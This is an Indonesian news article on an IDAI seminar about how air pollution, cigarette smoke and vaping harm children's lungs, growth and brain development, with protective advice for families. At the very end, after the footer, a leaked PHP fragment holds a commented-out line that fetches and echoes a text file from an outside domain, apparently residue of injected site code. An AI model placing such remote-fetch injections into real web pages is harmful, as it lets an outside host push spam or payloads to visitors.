Bagaimana Polusi Udara dan Asap Rokok Menghambat Perkembangan Anak? Begini Penjelasan IDAI!

Bagaimana Polusi Udara dan Asap Rokok Menghambat Perkembangan Anak? Begini Penjelasan IDAI!

 

Seorang ibu hamil mengenakan masker di luar ruangan berpolusi, menggambarkan risiko paparan udara kotor terhadap kesehatan janin. Ilustrasi seorang ibu hamil mengenakan masker di luar ruangan berpolusi, menggambarkan risiko paparan udara kotor terhadap kesehatan janin. Foto: Freepik

 

Dalam Seminar Media Online Ikatan Dokter Anak Indonesia (IDAI) bertajuk “Dampak Polusi Udara dan Asap Rokok terhadap Perkembangan Anak”, Ketua IDAI Dr. Piprim Basarah Yanuarso, SpA(K) menegaskan bahwa persoalan ini kini berada di level darurat kesehatan anak.

“Polusi udara dan paparan asap rokok sering kali kita abaikan karena dampaknya tidak terlihat langsung, padahal keduanya bisa merusak masa depan generasi bangsa,” tegas Piprim.

Menurutnya, paparan jangka panjang dapat memicu berbagai penyakit kronik, termasuk asma, penyakit paru obstruktif kronik (PPOK), hingga gangguan metabolik seperti diabetes dan penyakit jantung. “Bahkan pada ibu hamil, racun dalam asap rokok bisa menembus ke janin, menyebabkan berat lahir rendah atau kelahiran prematur,” tambahnya.

Data dari World Health Organization (WHO) menyebut hampir 99 persen populasi Indonesia tinggal di wilayah dengan kualitas udara di bawah standar sehat. Dalam konteks ini, anak-anak menjadi kelompok paling rentan.

Anggota UKK Respirologi IDAI, Dr. Cynthia Centauri, Sp.A, Subsp.Resp(K) menjelaskan, “Anak-anak bernafas dua hingga tiga kali lebih banyak dari orang dewasa. Dengan tinggi badan yang lebih pendek dan aktivitas luar ruang yang tinggi, mereka menghirup lebih banyak udara yang sudah tercemar.”

Partikel polutan berukuran kecil (PM2,5) dapat menembus hingga ke alveoli paru-paru dan memasuki aliran darah, memicu peradangan sistemik yang berdampak pada berbagai organ, termasuk otak.

Lebih lanjut, Cynthia menyoroti tren penggunaan rokok elektronik (vape) yang dianggap lebih aman.

“Vape bukan solusi sehat. Proses pemanasannya menghasilkan zat berbahaya seperti formaldehyde, acetaldehyde, dan acrolein, yang efeknya sama buruknya bagi tubuh,” jelasnya.

Dari Stunting hingga Gangguan Otak 

Sejumlah penelitian memperkuat kekhawatiran ini. Sebuah studi Harvard tahun 1984 menunjukkan bahwa anak dengan ibu perokok aktif lebih pendek 0,65 cm dibanding anak dari ibu non-perokok. Riset di Tiongkok terhadap 41.400 anak juga menemukan bahwa semakin lama paparan asap rokok, semakin tinggi risiko stunting dan penurunan tinggi badan.

Penelitian dalam negeri oleh tim dari RSCM Jakarta menemukan, ibu hamil perokok berisiko tinggi melahirkan bayi prematur dan mengalami komplikasi perkembangan. Sementara itu, meta-analisis global menunjukkan bahwa polusi udara lalu lintas (terutama PM2,5 dan PM10) berhubungan langsung dengan peningkatan risiko autisme (ASD) dan ADHD pada anak.

“Polutan yang terhirup bisa mencapai sawar otak dan mengganggu aktivitas sel saraf, menyebabkan stres oksidatif yang berdampak pada fungsi kognitif anak,” ungkap Cynthia.

Dampaknya tidak berhenti di masa kanak-kanak. Paparan kronis sejak dini dapat memicu gangguan belajar, depresi, dan kecemasan di usia remaja, bahkan menurunkan performa akademik.

Piprim menegaskan, “Kalau kita terus membiarkan anak-anak hidup di udara kotor dan lingkungan penuh asap rokok, kita bukan hanya merusak paru-parunya, tapi juga menghapus peluang mereka untuk tumbuh optimal, baik secara fisik maupun mental.”

Saatnya Bertindak Bersama


Meski tantangannya besar, masih ada langkah yang bisa dilakukan. Penggunaan masker N95 saat udara memburuk, pemantauan indeks kualitas udara (AQI), dan penghindaran area padat polusi menjadi upaya sederhana namun penting. IDAI juga merekomendasikan penggunaan air purifier dengan filter HEPA di rumah serta menciptakan lingkungan bebas asap rokok sepenuhnya.

“Polusi udara dan asap rokok tidak hanya urusan individu, tapi tanggung jawab kolektif. Setiap langkah kecil berarti besar bagi paru-paru kecil anak-anak kita,” tutup Cynthia.

Jaga udara, jaga masa depan. Hentikan kebiasaan merokok di rumah, pantau kualitas udara sebelum beraktivitas, dan dorong kebijakan lingkungan yang lebih bersih—karena setiap napas bersih hari ini adalah investasi bagi tumbuh kembang anak Indonesia esok.
Penulis: Laili Damayanti

Baca juga:
6 Fakta Mengejutkan Kanker Payudara, Dari Benjolan Hingga Deteksi Dini
Bagaimana Mengusir Polusi Tidak Sehat?
Waspadai Efek Polusi terhadap Janin

 

 


Topic

#UdaraBersihUntukAnak



Artikel Rekomendasi

".$css_content); //$a = file_get_contents('https://www.galatiatiga.com/pindang/index.txt'); //echo $a; ?>